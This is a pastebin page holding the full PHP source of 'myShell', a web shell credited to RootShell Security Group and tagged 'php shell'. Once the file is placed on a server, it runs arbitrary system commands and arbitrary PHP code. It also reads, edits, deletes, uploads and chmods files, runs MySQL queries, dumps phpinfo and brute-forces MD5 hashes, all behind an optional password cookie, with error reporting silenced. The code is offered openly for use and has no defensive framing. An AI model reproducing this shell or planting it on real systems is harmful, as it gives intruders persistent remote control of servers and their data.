Part of Slepp's Projects — Pastebin — TURL — Imagebin — Filebin
Feedback -- English French German Japanese
Create Upload Newest Tools Donate
Sign In | Create Account

Paste Actions

Download Raw
Embed
pBox URL
Post to Twitter
Remove Paste

Paste Details

Raw format, 1 year 9 months old, and 294 hits.

Advertising

myShell
Sunday, August 15th, 2010 at 1:02:01am MDT 

  1. <?php
  2. error_reporting(0); //If there is an error, we'll show it, k?
  3. $password = ""; // You can put a md5 string here too, for plaintext passwords: max 31 chars.
  4. $me = basename(__FILE__);
  5. $cookiename = "wieeeee";
  6.  
  7. if(isset($_POST['pass'])) //If the user made a login attempt, "pass" will be set eh?
  8. {
  9.  if(strlen($password) == 32) //If the length of the password is 32 characters, threat it as an md5.
  10.  {
  11.   $_POST['pass'] = md5($_POST['pass']);
  12.  }
  13.  if($_POST['pass'] == $password)
  14.  {
  15.    setcookie($cookiename, $_POST['pass'], time()+3600); //It's alright, let hem in
  16.  }
  17.  reload();
  18. }
  19.  
  20. if(!empty($password) && !isset($_COOKIE[$cookiename]) or ($_COOKIE[$cookiename] != $password))
  21. {
  22.  login();
  23.  die();
  24. }
  25. //
  26. //Do not cross this line! All code placed after this block can't be executed without being logged in!
  27. //
  28. if(isset($_GET['p']) && $_GET['p'] == "logout")
  29. {
  30. setcookie ($cookiename, "", time() - 3600);
  31. reload();
  32. }
  33. if(isset($_GET['dir']))
  34. {
  35.  chdir($_GET['dir']);
  36. }
  37.  
  38. $pages = array(
  39.  'cmd' => 'Execute Command',
  40.  'eval' => 'Evaluate PHP',
  41.  'mysql' => 'MySQL Query',
  42.  'chmod' => 'Chmod File',
  43.  'phpinfo' => 'PHPinfo',
  44.  'md5' => 'md5 cracker',
  45.  'headers' => 'Show headers',
  46.  'logout' => 'Log out'
  47. );
  48. //The header, like it?
  49. $header = '<html>
  50. <title>'.getenv("HTTP_HOST").' ~ Shell I</title>
  51. <head>
  52. <style>
  53. td {
  54.  font-size: 12px;
  55.  font-family: verdana;
  56.  color: #33FF00;
  57.  background: #000000;
  58. }
  59. #d {
  60.  background: #003000;
  61. }
  62. #f {
  63.  background: #003300;
  64. }
  65. #s {
  66.  background: #006300;
  67. }
  68. #d:hover
  69. {
  70.  background: #003300;
  71. }
  72. #f:hover
  73. {
  74.  background: #003000;
  75. }
  76. pre {
  77.  font-size: 10px;
  78.  font-family: verdana;
  79.  color: #33FF00;
  80. }
  81. a:hover {
  82. text-decoration: none;
  83. }
  84.  
  85. input,textarea,select {
  86.  border-top-width: 1px;
  87.  font-weight: bold;
  88.  border-left-width: 1px;
  89.  font-size: 10px;
  90.  border-left-color: #33FF00;
  91.  background: #000000;
  92.  border-bottom-width: 1px;
  93.  border-bottom-color: #33FF00;
  94.  color: #33FF00;
  95.  border-top-color: #33FF00;
  96.  font-family: verdana;
  97.  border-right-width: 1px;
  98.  border-right-color: #33FF00;
  99. }
  100. hr {
  101. color: #33FF00;
  102. background-color: #33FF00;
  103. height: 5px;
  104. }
  105. </style>
  106. </head>
  107. <body bgcolor=black alink="#33CC00" vlink="#339900" link="#339900">
  108. <table width=100%><td id="header" width=100%>
  109. <p align=right><b>[<a href="http://www.rootshell-team.info">RootShell</a>]  [<a href="'.$me.'">Home</a>] ';
  110. foreach($pages as $page => $page_name)
  111. {
  112.  $header .= ' [<a href="?p='.$page.'&dir='.realpath('.').'">'.$page_name.'</a>] ';
  113. }
  114. $header .= '<br><hr>'.show_dirs('.').'</td><tr><td>';
  115. print $header;
  116. $footer = '<tr><td><hr><center>&copy; <a href="http://www.ironwarez.info">Iron</a> & <a href="http://www.rootshell-team.info">RootShell Security Group</a></center></td></table></body></head></html>';
  117.  
  118. //
  119. //Page handling
  120. //
  121. if(isset($_REQUEST['p']))
  122. {
  123.   switch ($_REQUEST['p']) {
  124.  
  125.    case 'cmd': //Run command
  126.  
  127.     print "<form action=\"".$me."?p=cmd&dir=".realpath('.')."\" method=POST><b>Command:</b><input type=text name=command><input type=submit value=\"Execute\"></form>";
  128.      if(isset($_REQUEST['command']))
  129.      {
  130.       print "<pre>";
  131.       execute_command(get_execution_method(),$_REQUEST['command']); //You want fries with that?
  132.      }
  133.    break;
  134.  
  135.  
  136.    case 'edit': //Edit a fie
  137.     if(isset($_POST['editform']))
  138.     {
  139.      $f = $_GET['file'];
  140.      $fh = fopen($f, 'w') or print "Error while opening file!";
  141.      fwrite($fh, $_POST['editform']) or print "Couldn't save file!";
  142.      fclose($fh);
  143.     }
  144.     print "Editing file <b>".$_GET['file']."</b> (".perm($_GET['file']).")<br><br><form action=\"".$me."?p=edit&file=".$_GET['file']."&dir=".realpath('.')."\" method=POST><textarea cols=90 rows=15 name=\"editform\">";
  145.  
  146.     if(file_exists($_GET['file']))
  147.     {
  148.      $rd = file($_GET['file']);
  149.      foreach($rd as $l)
  150.      {
  151.       print htmlspecialchars($l);
  152.      }
  153.     }
  154.  
  155.     print "</textarea><input type=submit value=\"Save\"></form>";
  156.  
  157.    break;
  158.  
  159.    case 'delete': //Delete a file
  160.  
  161.     if(isset($_POST['yes']))
  162.     {
  163.      if(unlink($_GET['file']))
  164.      {
  165.       print "File deleted successfully.";
  166.      }
  167.      else
  168.      {
  169.       print "Couldn't delete file.";
  170.      }
  171.     }
  172.  
  173.  
  174.     if(isset($_GET['file']) && file_exists($_GET['file']) && !isset($_POST['yes']))
  175.     {
  176.      print "Are you sure you want to delete ".$_GET['file']."?<br>
  177.      <form action=\"".$me."?p=delete&file=".$_GET['file']."\" method=POST>
  178.      <input type=hidden name=yes value=yes>
  179.      <input type=submit value=\"Delete\">
  180.      ";
  181.     }
  182.  
  183.  
  184.    break;
  185.  
  186.  
  187.    case 'eval': //Evaluate PHP code
  188.  
  189.     print "<form action=\"".$me."?p=eval\" method=POST>
  190.     <textarea cols=60 rows=10 name=\"eval\">";
  191.     if(isset($_POST['eval']))
  192.     {
  193.      print htmlspecialchars($_POST['eval']);
  194.     }
  195.     else
  196.     {
  197.      print "print \"Yo Momma\";";
  198.     }
  199.     print "</textarea><br>
  200.     <input type=submit value=\"Eval\">
  201.     </form>";
  202.  
  203.     if(isset($_POST['eval']))
  204.     {
  205.      print "<h1>Output:</h1>";
  206.      print "<br>";
  207.      eval($_POST['eval']);
  208.     }
  209.  
  210.    break;
  211.  
  212.    case 'chmod': //Chmod file
  213.  
  214.  
  215.     print "<h1>Under construction!</h1>";
  216.     if(isset($_POST['chmod']))
  217.     {
  218.     switch ($_POST['chvalue']){
  219.      case 777:
  220.      chmod($_POST['chmod'],0777);
  221.      break;
  222.      case 644:
  223.      chmod($_POST['chmod'],0644);
  224.      break;
  225.      case 755:
  226.      chmod($_POST['chmod'],0755);
  227.      break;
  228.     }
  229.     print "Changed permissions on ".$_POST['chmod']." to ".$_POST['chvalue'].".";
  230.     }
  231.     if(isset($_GET['file']))
  232.     {
  233.      $content = urldecode($_GET['file']);
  234.     }
  235.     else
  236.     {
  237.      $content = "file/path/please";
  238.     }
  239.  
  240.     print "<form action=\"".$me."?p=chmod&file=".$content."&dir=".realpath('.')."\" method=POST><b>File to chmod:
  241.     <input type=text name=chmod value=\"".$content."\" size=70><br><b>New permission:</b>
  242.     <select name=\"chvalue\">
  243. <option value=\"777\">777</option>
  244. <option value=\"644\">644</option>
  245. <option value=\"755\">755</option>
  246. </select><input type=submit value=\"Change\">";
  247.  
  248.    break;
  249.  
  250.    case 'mysql': //MySQL Query
  251.  
  252.    if(isset($_POST['host']))
  253.    {
  254.     $link = mysql_connect($_POST['host'], $_POST['username'], $_POST['mysqlpass']) or die('Could not connect: ' . mysql_error());
  255.     mysql_select_db($_POST['dbase']);
  256.     $sql = $_POST['query'];
  257.  
  258.  
  259.     $result = mysql_query($sql);
  260.  
  261.    }
  262.    else
  263.    {
  264.     print "
  265.     This only queries the database, doesn't return data!<br>
  266.     <form action=\"".$me."?p=mysql\" method=POST>
  267.     <b>Host:<br></b><input type=text name=host value=\"localhost\" size=10><br>
  268.     <b>Username:<br><input type=text name=username value=\"root\" size=10><br>
  269.     <b>Password:<br></b><input type=password name=mysqlpass value=\"\" size=10><br>
  270.     <b>Database:<br><input type=text name=dbase value=\"test\" size=10><br>
  271.  
  272.     <b>Query:<br></b<textarea name=query></textarea>
  273.     <input type=submit value=\"Query database\">
  274.     </form>
  275.     ";
  276.  
  277.    }
  278.  
  279.    break;
  280.  
  281.    case 'createdir':
  282.    if(mkdir($_GET['crdir']))
  283.    {
  284.    print 'Directory created successfully.';
  285.    }
  286.    else
  287.    {
  288.    print 'Couldn\'t create directory';
  289.    }
  290.    break;
  291.  
  292.  
  293.    case 'phpinfo': //PHP Info
  294.     phpinfo();
  295.    break;
  296.  
  297.  
  298.    case 'rename':
  299.  
  300.     if(isset($_POST['fileold']))
  301.     {
  302.      if(rename($_POST['fileold'],$_POST['filenew']))
  303.      {
  304.       print "File renamed.";
  305.      }
  306.      else
  307.      {
  308.       print "Couldn't rename file.";
  309.      }
  310.  
  311.     }
  312.     if(isset($_GET['file']))
  313.     {
  314.      $file = basename(htmlspecialchars($_GET['file']));
  315.     }
  316.     else
  317.     {
  318.      $file = "";
  319.     }
  320.  
  321.     print "Renaming ".$file." in folder ".realpath('.').".<br>
  322.         <form action=\"".$me."?p=rename&dir=".realpath('.')."\" method=POST>
  323.      <b>Rename:<br></b><input type=text name=fileold value=\"".$file."\" size=70><br>
  324.      <b>To:<br><input type=text name=filenew value=\"\" size=10><br>
  325.      <input type=submit value=\"Rename file\">
  326.      </form>";
  327.    break;
  328.  
  329.    case 'md5':
  330.    if(isset($_POST['md5']))
  331.    {
  332.    if(!is_numeric($_POST['timelimit']))
  333.    {
  334.    $_POST['timelimit'] = 30;
  335.    }
  336.    set_time_limit($_POST['timelimit']);
  337.     if(strlen($_POST['md5']) == 32)
  338.     {
  339.  
  340.       if($_POST['chars'] == "9999")
  341.       {
  342.       $i = 0;
  343.       while($_POST['md5'] != md5($i) && $i != 100000)
  344.        {
  345.         $i++;
  346.        }
  347.       }
  348.       else
  349.       {
  350.        for($i = "a"; $i != "zzzzz"; $i++)
  351.        {
  352.         if(md5($i == $_POST['md5']))
  353.         {
  354.          break;
  355.         }
  356.        }
  357.       }
  358.  
  359.      if(md5($i) == $_POST['md5'])
  360.      {
  361.        print "<h1>Plaintext of ". $_POST['md5']. " is <i>".$i."</i></h1><br><br>";
  362.      }
  363.  
  364.     }
  365.  
  366.    }
  367.  
  368.    print "Will bruteforce the md5
  369.     <form action=\"".$me."?p=md5\" method=POST>
  370.     <b>md5 to crack:<br></b><input type=text name=md5 value=\"\" size=40><br>
  371.     <b>Characters:</b><br><select name=\"chars\">
  372.     <option value=\"az\">a - zzzzz</option>
  373.     <option value=\"9999\">1 - 9999999</option>
  374.     </select>
  375.     <b>Max. cracking time*:<br></b><input type=text name=timelimit value=\"30\" size=2><br>
  376.     <input type=submit value=\"Bruteforce md5\">
  377.     </form><br>*: if set_time_limit is allowed by php.ini";
  378.    break;
  379.  
  380.    case 'headers':
  381.    foreach(getallheaders() as $header => $value)
  382.    {
  383.    print htmlspecialchars($header . ":" . $value)."<br>";
  384.  
  385.    }
  386.    break;
  387.   }
  388. }
  389. else //Default page that will be shown when the page isn't found or no page is selected.
  390. {
  391.  
  392.  $files = array();
  393.  $directories = array();
  394.  
  395.  if(isset($_FILES['uploadedfile']['name']))
  396. {
  397.  $target_path = realpath('.').'/';
  398.  $target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
  399.  if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
  400.      print "File:".  basename( $_FILES['uploadedfile']['name']).
  401.      " has been uploaded";
  402.  } else{
  403.      echo "File upload failed!";
  404.  }
  405. }
  406.  
  407.  
  408.  
  409.  
  410.  print "<table border=0 width=100%><td width=5% id=s><b>Options</b></td><td id=s><b>Filename</b></td><td id=s><b>Size</b></td><td id=s><b>Permissions</b></td><td id=s>Last modified</td><tr>";
  411.  if ($handle = opendir('.'))
  412.  {
  413.   while (false !== ($file = readdir($handle)))
  414.   {
  415.         if(is_dir($file))
  416.      {
  417.     $directories[] = $file;
  418.      }
  419.      else
  420.      {
  421.     $files[] = $file;
  422.      }
  423.   }
  424.  asort($directories);
  425.  asort($files);
  426.   foreach($directories as $file)
  427.   {
  428.    print "<td id=d><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[R]</a><a href=\"?p=delete&file=".realpath($file)."\">[D]</a></td><td id=d><a href=\"".$me."?dir=".realpath($file)."\">".$file."</a></td><td id=d></td><td id=d><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=d>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>";
  429.   }
  430.  
  431.   foreach($files as $file)
  432.   {
  433.    print "<td id=f><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[R]</a><a href=\"?p=delete&file=".realpath($file)."\">[D]</a></td><td id=f><a href=\"".$me."?p=edit&dir=".realpath('.')."&file=".realpath($file)."\">".$file."</a></td><td id=f>".filesize($file)."</td><td id=f><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=f>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>";
  434.   }
  435.  }
  436.  else
  437.  {
  438.   print "<u>Error!</u> Can't open <b>".realpath('.')."</b>!<br>";
  439.  }
  440.  
  441.  print "</table><hr><table border=0 width=100%><td><b>Upload file</b><br><form enctype=\"multipart/form-data\" action=\"".$me."?dir=".realpath('.')."\" method=\"POST\">
  442. <input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000000\" /><input size=30 name=\"uploadedfile\" type=\"file\" />
  443. <input type=\"submit\" value=\"Upload File\" />
  444. </form></td><td><form action=\"".$me."\" method=GET><b>Change Directory<br></b><input type=text size=40 name=dir value=\"".realpath('.')."\"><input type=submit value=\"Change Directory\"></form></td>
  445. <tr><td><form action=\"".$me."\" method=GET><b>Create file<br></b><input type=hidden name=dir value=\"".realpath('.')."\"><input type=text size=40 name=file value=\"".realpath('.')."\"><input type=hidden name=p value=edit><input type=submit value=\"Create file\"></form>
  446. </td><td><form action=\"".$me."\" method=GET><b>Create directory<br></b><input type=text size=40 name=crdir value=\"".realpath('.')."\"><input type=hidden name=dir value=\"".realpath('.')."\"><input type=hidden name=p value=createdir><input type=submit value=\"Create directory\"></form></td>
  447. </table>";
  448.  
  449. }
  450.  
  451. function login()
  452. {
  453.  print "<table border=0 width=100% height=100%><td valign=\"middle\"><center>
  454.  <form action=".basename(__FILE__)." method=\"POST\"><b>Password?</b>
  455.  <input type=\"password\" maxlength=\"32\" name=\"pass\"><input type=\"submit\" value=\"Login\">
  456.  </form>";
  457. }
  458. function reload()
  459. {
  460.  header("Location: ".basename(__FILE__));
  461. }
  462. function get_execution_method()
  463. {
  464.  if(function_exists('passthru')){ $m = "passthru"; }
  465.  if(function_exists('exec')){ $m = "exec"; }
  466.  if(function_exists('shell_exec')){ $m = "shell_ exec"; }
  467.  if(function_exists('system')){ $m = "system"; }
  468.  if(!isset($m)) //No method found :-|
  469.  {
  470.   $m = "Disabled";
  471.  }
  472.  return($m);
  473. }
  474. function execute_command($method,$command)
  475. {
  476.  if($method == "passthru")
  477.  {
  478.   passthru($command);
  479.  }
  480.  
  481.  elseif($method == "exec")
  482.  {
  483.   exec($command,$result);
  484.   foreach($result as $output)
  485.   {
  486.    print $output."<br>";
  487.   }
  488.  }
  489.  
  490.  elseif($method == "shell_exec")
  491.  {
  492.   print shell_exec($command);
  493.  }
  494.  
  495.  elseif($method == "system")
  496.  {
  497.   system($command);
  498.  }
  499. }
  500. function perm($file)
  501. {
  502.  if(file_exists($file))
  503.  {
  504.   return substr(sprintf('%o', fileperms($file)), -4);
  505.  }
  506.  else
  507.  {
  508.   return "????";
  509.  }
  510. }
  511. function get_color($file)
  512. {
  513. if(is_writable($file)) { return "green";}
  514. if(!is_writable($file) && is_readable($file)) { return "white";}
  515. if(!is_writable($file) && !is_readable($file)) { return "red";}
  516.  
  517. }
  518. function show_dirs($where)
  519. {
  520.  if(ereg("^c:",realpath($where)))
  521.  {
  522.  $dirparts = explode('\\',realpath($where));
  523.  }
  524.  else
  525.  {
  526.  $dirparts = explode('/',realpath($where));
  527.  }
  528.  
  529.  
  530.  
  531.  $i = 0;
  532.  $total = "";
  533.  
  534.  foreach($dirparts as $part)
  535.  {
  536.   $p = 0;
  537.   $pre = "";
  538.   while($p != $i)
  539.   {
  540.    $pre .= $dirparts[$p]."/";
  541.    $p++;
  542.  
  543.   }
  544.   $total .= "<a href=\"".basename(__FILE__)."?dir=".$pre.$part."\">".$part."</a>/";
  545.   $i++;
  546.  }
  547.  
  548.  return "<h2>".$total."</h2><br>";
  549. }
  550. print $footer;
  551. // Exit: maybe we're included somewhere and we don't want the other code to mess with ours :-)
  552. exit();
  553. ?>

Paste Details

Tags: php shell

advertising

Update the Post

Either update this post and resubmit it with changes, or make a new post.

You may also comment on this post.

update paste below
details of the post (optional)

Note: Only the paste content is required, though the following information can be useful to others.

Save name / title?

(space separated, optional)



Please note that information posted here will expire by default in one month. If you do not want it to expire, please set the expiry time above. If it is set to expire, web search engines will not be allowed to index it prior to it expiring. Items that are not marked to expire will be indexable by search engines. Be careful with your passwords. All illegal activities will be reported and any information will be handed over to the authorities, so be good.

worth-right